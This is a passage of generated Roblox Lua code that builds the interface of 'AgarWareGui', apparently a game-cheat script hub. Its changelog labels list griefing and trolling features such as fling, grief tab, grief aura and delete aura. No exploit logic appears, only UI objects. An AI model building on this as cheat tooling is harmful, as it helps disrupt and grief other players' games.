G2L["2f7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f7"]["BackgroundTransparency"] = 1;
G2L["2f7"]["RichText"] = true;
G2L["2f7"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["2f7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f7"]["Text"] = [[===== v2.8 > v2.8.1
New Features - New welcome/joins alerts in TCO>Misc.]];
G2L["2f7"]["Name"] = [[Text]];
G2L["2f7"]["Position"] = UDim2.new(0.04605, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.2
G2L["2f8"] = Instance.new("Frame", G2L["2f2"]);
G2L["2f8"]["BorderSizePixel"] = 0;
G2L["2f8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f8"]["Size"] = UDim2.new(0, 152, 0, 89);
G2L["2f8"]["Position"] = UDim2.new(0, 0, -0.3663, 0);
G2L["2f8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f8"]["Name"] = [[V2.8.2]];
G2L["2f8"]["LayoutOrder"] = 998;
G2L["2f8"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.2.Text
G2L["2f9"] = Instance.new("TextLabel", G2L["2f8"]);
G2L["2f9"]["TextWrapped"] = true;
G2L["2f9"]["BorderSizePixel"] = 0;
G2L["2f9"]["TextSize"] = 12;
G2L["2f9"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2f9"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["2f9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f9"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f9"]["BackgroundTransparency"] = 1;
G2L["2f9"]["RichText"] = true;
G2L["2f9"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["2f9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f9"]["Text"] = [[===== v2.8.1 > v2.8.2
New Features - New respawn at death in the Main page, added a recenter Gui button if the gui is out of the screen.]];
G2L["2f9"]["Name"] = [[Text]];
G2L["2f9"]["Position"] = UDim2.new(0.04605, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.3
G2L["2fa"] = Instance.new("Frame", G2L["2f2"]);
G2L["2fa"]["BorderSizePixel"] = 0;
G2L["2fa"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2fa"]["Size"] = UDim2.new(0, 152, 0, 89);
G2L["2fa"]["Position"] = UDim2.new(0, 0, -0.3663, 0);
G2L["2fa"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2fa"]["Name"] = [[V2.8.3]];
G2L["2fa"]["LayoutOrder"] = 997;
G2L["2fa"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.3.Text
G2L["2fb"] = Instance.new("TextLabel", G2L["2fa"]);
G2L["2fb"]["TextWrapped"] = true;
G2L["2fb"]["BorderSizePixel"] = 0;
G2L["2fb"]["TextSize"] = 12;
G2L["2fb"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2fb"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["2fb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2fb"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2fb"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2fb"]["BackgroundTransparency"] = 1;
G2L["2fb"]["RichText"] = true;
G2L["2fb"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["2fb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2fb"]["Text"] = [[===== v2.8.2 > v2.8.3
New Features - New server info shows if your in TCO and OG supported.
Bug Fixes - Faster auto loading.]];
G2L["2fb"]["Name"] = [[Text]];
G2L["2fb"]["Position"] = UDim2.new(0.04605, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.4
G2L["2fc"] = Instance.new("Frame", G2L["2f2"]);
G2L["2fc"]["BorderSizePixel"] = 0;
G2L["2fc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2fc"]["Size"] = UDim2.new(0, 152, 0, 89);
G2L["2fc"]["Position"] = UDim2.new(0, 0, -0.3663, 0);
G2L["2fc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2fc"]["Name"] = [[V2.8.4]];
G2L["2fc"]["LayoutOrder"] = 996;
G2L["2fc"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.4.Text
G2L["2fd"] = Instance.new("TextLabel", G2L["2fc"]);
G2L["2fd"]["TextWrapped"] = true;
G2L["2fd"]["BorderSizePixel"] = 0;
G2L["2fd"]["TextSize"] = 12;
G2L["2fd"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2fd"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["2fd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2fd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2fd"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2fd"]["BackgroundTransparency"] = 1;
G2L["2fd"]["RichText"] = true;
G2L["2fd"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["2fd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2fd"]["Text"] = [[===== v2.8.3 > v2.8.4
New Features - Added enlighten icon display on the leaderboard iin TCO > Misc.
Bug Fixes - Touch fling now works.]];
G2L["2fd"]["Name"] = [[Text]];
G2L["2fd"]["Position"] = UDim2.new(0.04605, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.5
G2L["2fe"] = Instance.new("Frame", G2L["2f2"]);
G2L["2fe"]["BorderSizePixel"] = 0;
G2L["2fe"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2fe"]["Size"] = UDim2.new(0, 152, 0, 89);
G2L["2fe"]["Position"] = UDim2.new(0, 0, -0.3663, 0);
G2L["2fe"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2fe"]["Name"] = [[V2.8.5]];
G2L["2fe"]["LayoutOrder"] = 995;
G2L["2fe"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.5.Text
G2L["2ff"] = Instance.new("TextLabel", G2L["2fe"]);
G2L["2ff"]["TextWrapped"] = true;
G2L["2ff"]["BorderSizePixel"] = 0;
G2L["2ff"]["TextSize"] = 12;
G2L["2ff"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2ff"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["2ff"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ff"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2ff"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ff"]["BackgroundTransparency"] = 1;
G2L["2ff"]["RichText"] = true;
G2L["2ff"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["2ff"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ff"]["Text"] = [[===== v2.8.4 > v2.8.5
New Features - New suggestions and bug reports Tab in Menu Page. New buttons added in Tools Tab and Boombox Tab (TCO).]];
G2L["2ff"]["Name"] = [[Text]];
G2L["2ff"]["Position"] = UDim2.new(0.04605, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.6
G2L["300"] = Instance.new("Frame", G2L["2f2"]);
G2L["300"]["BorderSizePixel"] = 0;
G2L["300"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["300"]["Size"] = UDim2.new(0, 152, 0, 82);
G2L["300"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["300"]["Name"] = [[V2.8.6]];
G2L["300"]["LayoutOrder"] = 994;
G2L["300"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.6.Text
G2L["301"] = Instance.new("TextLabel", G2L["300"]);
G2L["301"]["TextWrapped"] = true;
G2L["301"]["BorderSizePixel"] = 0;
G2L["301"]["TextSize"] = 12;
G2L["301"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["301"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["301"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["301"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["301"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["301"]["BackgroundTransparency"] = 1;
G2L["301"]["RichText"] = true;
G2L["301"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["301"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["301"]["Text"] = [[===== v2.8.5 > v2.8.6
New Features - New auto execute in the Settings Tab.
Bug Fixes - Auto Load is now 3x faster.]];
G2L["301"]["Name"] = [[Text]];
G2L["301"]["Position"] = UDim2.new(0.04605, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.7
G2L["302"] = Instance.new("Frame", G2L["2f2"]);
G2L["302"]["BorderSizePixel"] = 0;
G2L["302"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["302"]["Size"] = UDim2.new(0, 152, 0, 56);
G2L["302"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["302"]["Name"] = [[V2.8.7]];
G2L["302"]["LayoutOrder"] = 993;
G2L["302"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.7.Text
G2L["303"] = Instance.new("TextLabel", G2L["302"]);
G2L["303"]["TextWrapped"] = true;
G2L["303"]["BorderSizePixel"] = 0;
G2L["303"]["TextSize"] = 12;
G2L["303"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["303"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["303"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["303"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["303"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["303"]["BackgroundTransparency"] = 1;
G2L["303"]["RichText"] = true;
G2L["303"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["303"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["303"]["Text"] = [[===== v2.8.6 > v2.8.7
New Features - Weird buttons added in the Troll page (TCO).]];
G2L["303"]["Name"] = [[Text]];
G2L["303"]["Position"] = UDim2.new(0.04605, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.8
G2L["304"] = Instance.new("Frame", G2L["2f2"]);
G2L["304"]["BorderSizePixel"] = 0;
G2L["304"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["304"]["Size"] = UDim2.new(0, 152, 0, 117);
G2L["304"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["304"]["Name"] = [[V2.8.8]];
G2L["304"]["LayoutOrder"] = 992;
G2L["304"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.8.Text
G2L["305"] = Instance.new("TextLabel", G2L["304"]);
G2L["305"]["TextWrapped"] = true;
G2L["305"]["BorderSizePixel"] = 0;
G2L["305"]["TextSize"] = 12;
G2L["305"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["305"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["305"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["305"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["305"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["305"]["BackgroundTransparency"] = 1;
G2L["305"]["RichText"] = true;
G2L["305"]["Size"] = UDim2.new(0, 133, 0, 111);
G2L["305"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["305"]["Text"] = [[===== v2.8.7 > v2.8.8
New Features - Added Anti Vampire, a preview of the new troll page being added in v2.9.
Changes - Updated the looks and layout in the Menu page.]];
G2L["305"]["Name"] = [[Text]];
G2L["305"]["Position"] = UDim2.new(0.04605, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.9
G2L["306"] = Instance.new("Frame", G2L["2f2"]);
G2L["306"]["BorderSizePixel"] = 0;
G2L["306"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["306"]["Size"] = UDim2.new(0, 152, 0, 103);
G2L["306"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["306"]["Name"] = [[V2.8.9]];
G2L["306"]["LayoutOrder"] = 991;
G2L["306"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.9.Text
G2L["307"] = Instance.new("TextLabel", G2L["306"]);
G2L["307"]["TextWrapped"] = true;
G2L["307"]["BorderSizePixel"] = 0;
G2L["307"]["TextSize"] = 12;
G2L["307"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["307"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["307"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["307"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["307"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["307"]["BackgroundTransparency"] = 1;
G2L["307"]["RichText"] = true;
G2L["307"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["307"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["307"]["Text"] = [[===== v2.8.8 > v2.8.9
New Features - Added restore brick and anti glitch. (TCO)
OPTIMISING MY GUI CURRENTLY, GRIEF AURA AND GRIEF WILL BE ADDED AFTER!]];
G2L["307"]["Name"] = [[Text]];
G2L["307"]["Position"] = UDim2.new(0.04605, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.10
G2L["308"] = Instance.new("Frame", G2L["2f2"]);
G2L["308"]["BorderSizePixel"] = 0;
G2L["308"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["308"]["Size"] = UDim2.new(0, 152, 0, 168);
G2L["308"]["Position"] = UDim2.new(0, 0, -0.10989, 0);
G2L["308"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["308"]["Name"] = [[V2.8.10]];
G2L["308"]["LayoutOrder"] = 990;
G2L["308"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.10.Text
G2L["309"] = Instance.new("TextLabel", G2L["308"]);
G2L["309"]["TextWrapped"] = true;
G2L["309"]["BorderSizePixel"] = 0;
G2L["309"]["TextSize"] = 12;
G2L["309"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["309"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["309"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["309"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["309"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["309"]["BackgroundTransparency"] = 1;
G2L["309"]["RichText"] = true;
G2L["309"]["Size"] = UDim2.new(0, 133, 0, 118);
G2L["309"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["309"]["Text"] = [[===== v2.8.9 > v2.8.10
New Features - Added B-Kit UI Fix in misc.
Bug Fixes - Fixed anti glitch from being an anti teleport, added both anti tp, glitch. Fixed anti maptide nan, now only teleports when spawn is bugged + teleports to coordnates 0, 0, 0 instead of a player.]];
G2L["309"]["Name"] = [[Text]];
G2L["309"]["Position"] = UDim2.new(0.04605, 0, -0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.9.0
G2L["30a"] = Instance.new("Frame", G2L["2f2"]);
G2L["30a"]["BorderSizePixel"] = 0;
G2L["30a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30a"]["Size"] = UDim2.new(0, 152, 0, 76);
G2L["30a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30a"]["Name"] = [[V2.9.0]];
G2L["30a"]["LayoutOrder"] = 989;
G2L["30a"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.9.0.Text
G2L["30b"] = Instance.new("TextLabel", G2L["30a"]);
G2L["30b"]["TextWrapped"] = true;
G2L["30b"]["BorderSizePixel"] = 0;
G2L["30b"]["TextSize"] = 12;
G2L["30b"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["30b"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["30b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["30b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30b"]["BackgroundTransparency"] = 1;
G2L["30b"]["RichText"] = true;
G2L["30b"]["Size"] = UDim2.new(0, 133, 0, 82);
G2L["30b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30b"]["Text"] = [[===== v2.8.10 > v2.9.0
New Features - NEW GRIEF TAB, added ping on the top bar.
Grief aura coming soon.]];
G2L["30b"]["Name"] = [[Text]];
G2L["30b"]["Position"] = UDim2.new(0.04605, 0, -0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.9.1
G2L["30c"] = Instance.new("Frame", G2L["2f2"]);
G2L["30c"]["BorderSizePixel"] = 0;
G2L["30c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30c"]["Size"] = UDim2.new(0, 152, 0, 113);
G2L["30c"]["Position"] = UDim2.new(0, 0, -0.09158, 0);
G2L["30c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30c"]["Name"] = [[V2.9.1]];
G2L["30c"]["LayoutOrder"] = 988;
G2L["30c"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.9.1.Text
G2L["30d"] = Instance.new("TextLabel", G2L["30c"]);
G2L["30d"]["TextWrapped"] = true;
G2L["30d"]["BorderSizePixel"] = 0;
G2L["30d"]["TextSize"] = 12;
G2L["30d"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["30d"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["30d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["30d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30d"]["BackgroundTransparency"] = 1;
G2L["30d"]["RichText"] = true;
G2L["30d"]["Size"] = UDim2.new(0, 133, 0, 112);
G2L["30d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30d"]["Text"] = [[===== v2.9.0 > v2.9.1
Bug Fixes - Fixed anti fling not working, dropdowns not working, grief tab not deleting properly.
Changes - changed delete all blocks to delete aura.]];
G2L["30d"]["Name"] = [[Text]];
G2L["30d"]["Position"] = UDim2.new(0.04605, 0, -0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup
G2L["30e"] = Instance.new("Frame", G2L["2e9"]);
G2L["30e"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["30e"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["30e"]["Size"] = UDim2.new(0, 170, 0, 104);
G2L["30e"]["Position"] = UDim2.new(0, 0, 0.24722, 0);
G2L["30e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["30e"]["Name"] = [[TCOGroup]];
G2L["30e"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOScript
G2L["30f"] = Instance.new("LocalScript", G2L["30e"]);
G2L["30f"]["Name"] = [[TCOScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.UIListLayout
G2L["310"] = Instance.new("UIListLayout", G2L["30e"]);
G2L["310"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOAccentColor
G2L["311"] = Instance.new("Frame", G2L["30e"]);
G2L["311"]["BackgroundColor3"] = Color3.fromRGB(140, 140, 140);
G2L["311"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["311"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["311"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["311"]["BorderColor3"] = Color3.fromRGB(117, 117, 117);
G2L["311"]["Name"] = [[TCOAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOTitle
G2L["312"] = Instance.new("TextLabel", G2L["30e"]);
G2L["312"]["TextWrapped"] = true;
G2L["312"]["BorderSizePixel"] = 0;
G2L["312"]["TextSize"] = 14;
G2L["312"]["TextScaled"] = true;
G2L["312"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["312"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["312"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["312"]["BackgroundTransparency"] = 0.95;
G2L["312"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["312"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["312"]["Text"] = [[TCO]];
G2L["312"]["LayoutOrder"] = 1;
G2L["312"]["Name"] = [[TCOTitle]];
G2L["312"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOTitle.TitleScript
G2L["313"] = Instance.new("LocalScript", G2L["312"]);
G2L["313"]["Name"] = [[TitleScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOTitle.TCOMinimize
G2L["314"] = Instance.new("TextButton", G2L["312"]);
G2L["314"]["BorderSizePixel"] = 0;
G2L["314"]["TextSize"] = 14;
G2L["314"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["314"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["314"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["314"]["BackgroundTransparency"] = 1;
G2L["314"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["314"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["314"]["Text"] = [[-]];
G2L["314"]["Name"] = [[TCOMinimize]];
G2L["314"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.BlockCountRow
G2L["315"] = Instance.new("Frame", G2L["30e"]);
G2L["315"]["BorderSizePixel"] = 0;
G2L["315"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["315"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["315"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["315"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["315"]["Name"] = [[BlockCountRow]];
G2L["315"]["LayoutOrder"] = 4;
G2L["315"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.BlockCountRow.Text
G2L["316"] = Instance.new("TextLabel", G2L["315"]);
G2L["316"]["BorderSizePixel"] = 0;
G2L["316"]["TextSize"] = 14;
G2L["316"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["316"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["316"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["316"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["316"]["BackgroundTransparency"] = 1;
G2L["316"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["316"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["316"]["Text"] = [[🧱 Total Blocks: 0]];
G2L["316"]["Name"] = [[Text]];
G2L["316"]["Position"] = UDim2.new(0.02367, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.AdminRow
G2L["317"] = Instance.new("Frame", G2L["30e"]);
G2L["317"]["BorderSizePixel"] = 0;
G2L["317"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["317"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["317"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["317"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["317"]["Name"] = [[AdminRow]];
G2L["317"]["LayoutOrder"] = 4;
G2L["317"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.AdminRow.Text
G2L["318"] = Instance.new("TextLabel", G2L["317"]);
G2L["318"]["BorderSizePixel"] = 0;
G2L["318"]["TextSize"] = 14;
G2L["318"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["318"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["318"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["318"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["318"]["BackgroundTransparency"] = 1;
G2L["318"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["318"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["318"]["Text"] = [[👤 Admin: N\A]];
G2L["318"]["Name"] = [[Text]];
G2L["318"]["Position"] = UDim2.new(0.02367, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TotalTimeRow
G2L["319"] = Instance.new("Frame", G2L["30e"]);
G2L["319"]["BorderSizePixel"] = 0;
G2L["319"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["319"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["319"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["319"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["319"]["Name"] = [[TotalTimeRow]];
G2L["319"]["LayoutOrder"] = 4;
G2L["319"]["BackgroundTransparency"] = 1;
